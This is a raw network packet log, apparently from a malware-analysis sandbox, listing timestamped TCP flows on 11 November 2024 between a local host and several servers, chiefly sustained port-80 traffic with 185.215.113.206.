Nov 11, 2024 21:59:21.592750072 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592752934 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592755079 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592766047 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592773914 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592777014 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592799902 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592803001 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592813969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592819929 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592825890 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592838049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592849970 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592852116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592861891 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592865944 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592865944 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592879057 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592885971 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592904091 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.592952013 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592962980 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592974901 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592987061 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.592991114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593000889 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593014956 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593017101 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593025923 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593035936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593046904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593061924 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593086004 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593631983 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593643904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593655109 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593677998 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593698025 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593703985 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593708038 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593719959 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593729019 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593732119 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593754053 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593774080 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593780994 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593792915 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593801975 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593827009 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593843937 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593925953 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593935966 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593946934 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593957901 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593974113 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.593976974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.593988895 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594000101 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594002008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594007969 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594013929 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594017029 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594018936 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594029903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594060898 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594084978 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594141960 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594153881 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594165087 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594177008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594183922 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594187021 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594197989 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594206095 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594209909 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594222069 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594223022 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594233990 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594244957 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.594253063 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594290018 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.594347954 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.639338017 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.655633926 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.655793905 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.658463001 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.658493042 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.658521891 CET	58739	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.658529997 CET	443	58739	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.659210920 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.659250975 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.659291029 CET	58738	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.659300089 CET	443	58738	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.659332991 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.659356117 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.659370899 CET	58740	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.659377098 CET	443	58740	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.661855936 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.661880016 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.664120913 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.664127111 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.664153099 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.664164066 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.669773102 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.669789076 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.670115948 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.670625925 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.670625925 CET	58735	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:21.670680046 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:21.679354906 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.679764986 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.679796934 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.680150986 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.680347919 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.680643082 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.680725098 CET	443	58746	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.681099892 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.681111097 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.681433916 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.681940079 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.682005882 CET	443	58745	23.44.111.21	192.168.2.5
Nov 11, 2024 21:59:21.685000896 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.685034990 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.685142994 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.686125994 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.686161995 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.686254978 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.686420918 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.686450958 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.686515093 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.687108994 CET	58748	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.687117100 CET	58747	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.687119007 CET	443	58748	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.687130928 CET	443	58747	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.687230110 CET	58749	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.687243938 CET	443	58749	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.689935923 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.689945936 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.690002918 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.690182924 CET	58750	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:21.690193892 CET	443	58750	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:21.765007019 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765034914 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765041113 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765053988 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765068054 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765074015 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765080929 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.765100002 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.765130043 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.765153885 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.766642094 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.766654968 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.766675949 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.766699076 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.766702890 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.766716957 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.766748905 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.766757011 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.771488905 CET	58746	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.787420988 CET	58745	443	192.168.2.5	23.44.111.21
Nov 11, 2024 21:59:21.809222937 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809274912 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:21.809350967 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809396029 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809432983 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:21.809552908 CET	58751	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809566975 CET	443	58751	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:21.809577942 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809678078 CET	58752	443	192.168.2.5	162.159.61.3
Nov 11, 2024 21:59:21.809686899 CET	443	58752	162.159.61.3	192.168.2.5
Nov 11, 2024 21:59:21.829523087 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:21.834465027 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:21.846391916 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.846426964 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.846465111 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.846473932 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.846523046 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.847421885 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.847440004 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.847516060 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.847520113 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.847557068 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.848201990 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.848277092 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.848282099 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.848290920 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.848342896 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.848614931 CET	58741	443	192.168.2.5	13.107.246.40
Nov 11, 2024 21:59:21.848623037 CET	443	58741	13.107.246.40	192.168.2.5
Nov 11, 2024 21:59:21.964939117 CET	443	58735	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:22.030354023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030426025 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030476093 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030493021 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030503035 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030513048 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030523062 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030524015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030534029 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030545950 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030545950 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030590057 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030622959 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030637980 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030648947 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030656099 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030702114 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030802965 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030816078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030827999 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030836105 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030837059 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.030848980 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030862093 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.030874968 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031003952 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031014919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031023026 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031032085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031045914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031049013 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031071901 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031081915 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031171083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031182051 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031189919 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031198025 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031207085 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031212091 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031217098 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031228065 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031234980 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031259060 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031270027 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031302929 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031337023 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031342983 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031347036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031378984 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031476021 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031491995 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031501055 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031511068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031524897 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031538010 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031630039 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031640053 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031646967 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031657934 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031662941 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031667948 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031677008 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031686068 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031694889 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031696081 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031704903 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031723976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031740904 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031743050 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031752110 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031773090 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031795025 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031949043 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031971931 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031981945 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.031986952 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.031990051 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032000065 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032007933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032010078 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032032967 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032038927 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032109022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032119036 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032128096 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032136917 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032145023 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032170057 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032238007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032252073 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032265902 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032288074 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032437086 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032450914 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032459974 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032469034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032471895 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032480001 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032490015 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032514095 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032589912 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032599926 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032608032 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032623053 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032633066 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032634020 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032640934 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032648087 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032651901 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032660007 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032666922 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032704115 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032738924 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032748938 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032757998 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032767057 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032774925 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032788992 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032799959 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032812119 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.032860041 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032871962 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.032905102 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033068895 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033078909 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033092022 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033102989 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033113003 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033113956 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033123016 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033132076 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033137083 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033157110 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033158064 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033195972 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033210993 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033224106 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033232927 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033233881 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033241034 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033246040 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033250093 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033260107 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033262014 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033268929 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033288002 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033297062 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:22.033354044 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:22.033366919 CET	80	58697	185.215.113.206	192.168.2.5
